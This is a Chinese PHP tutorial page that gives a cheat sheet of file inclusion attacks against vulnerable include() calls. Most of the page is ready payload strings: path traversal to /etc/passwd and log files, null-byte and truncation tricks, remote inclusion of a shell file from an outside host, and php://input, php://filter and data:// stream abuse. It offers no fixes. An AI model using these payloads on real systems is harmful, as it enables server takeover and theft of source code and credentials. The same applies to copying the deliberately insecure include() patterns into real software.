当前位置:首页 > PHP教程 > php高级应用 > 列表

关于PHP文件包含一些漏洞分析

发布:smiling 来源: PHP粉丝网  添加日期:2014-08-23 10:56:09 浏览: 评论:0 

文章简单的分析了在php文件包含时inlcude的一个漏洞分析,下面希望对大家有点用处.

基本的文件包含漏洞,代码如下:

  1. <?php include(“includes/” . $_GET['file']); ?> 
  2. * 包含同路径下的文件: 
  3. file=.htaccess 
  4. * 路径遍历: 
  5. file=../../../../../../../../../var/lib/locate.db 
  6. (该文件非常有趣因为它允许你搜索文件系统) 
  7. * 包含注入PHP代码的文件: 
  8. file=../../../../../../../../../var/log/apache/error.log 
  9. (you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.) 

受限的本地文件包含如下代码:

  1.  <?php include(“includes/” . $_GET['file'] . “.htm”); ?> 
  2. * 空字符注入(Null Byte Injection): 
  3. file=../../../../../../../../../etc/passwd%00 
  4. (需要magic_quotes_gpc=off) 
  5. * 列目录(Null Byte Injection): 
  6. file=../../../../../../../../../var/www/accounts/%00 
  7. (仅限BSD, 需要magic_quotes_gpc=off,详细信息here) 
  8. *路径截断(Path Truncation): 
  9. file=../../../../../../../../../etc/passwd........... … 
  10. (详细信息参见 here 和 here) 
  11. * 点号截断: 
  12. file=../../../../../../../../../etc/passwd……………. … 

仅限Windows,更多细节参见here

基本的远程文件包含,代码如下:

  1. <?php include($_GET['file']); ?>
  2. * 包含远程代码(Including Remote Code):
  3. file=[http|https|ftp]://websec.wordpress.com/shell.txt 
  4. (需要 allow_url_fopen=On 和 allow_url_include=On) 
  5. * 使用php输入流(Using PHP stream php://input): 
  6. file=php://input 
  7. (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On) 
  8. * 使用PHP过滤函数(Using PHP stream php://filter): 
  9. file=php://filter/convert.base64-encode/resource=index.php 
  10. (lets you read PHP source because it wont get evaluated in base64. More details here and here) 
  11. * Using data URIs: 
  12. file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 
  13. (需要 allow_url_include=On) 
  14. * 用于跨站脚本攻击(Using XSS): 
  15. //开源代码phpfensi.com 
  16. file=http://127.0.0.1/path/xss.php?xss=phpcode 
  17. (makes sense if firewalled or only whitelisted domains allowed) 

受限的远程文件包含漏洞,代码如下:

  1. <?php include($_GET['file'] . “.htm”); ?> 
  2. * file=http://websec.wordpress.com/shell 
  3. * file=http://websec.wordpress.com/shell.txt? 
  4. * file=http://websec.wordpress.com/shell.txt%23 
  5. (需要 allow_url_fopen=On 和 allow_url_include=On) 

静态远程文件包含漏洞,代码如下:

  1. <?php include(“http://192.168.1.10/config.php”); ?> 
  2. * 中间人攻击(Man In The Middle) 
  3. (lame indeed, but often forgotten) 

Tags: PHP文件漏洞 PHP漏洞分析

分享到: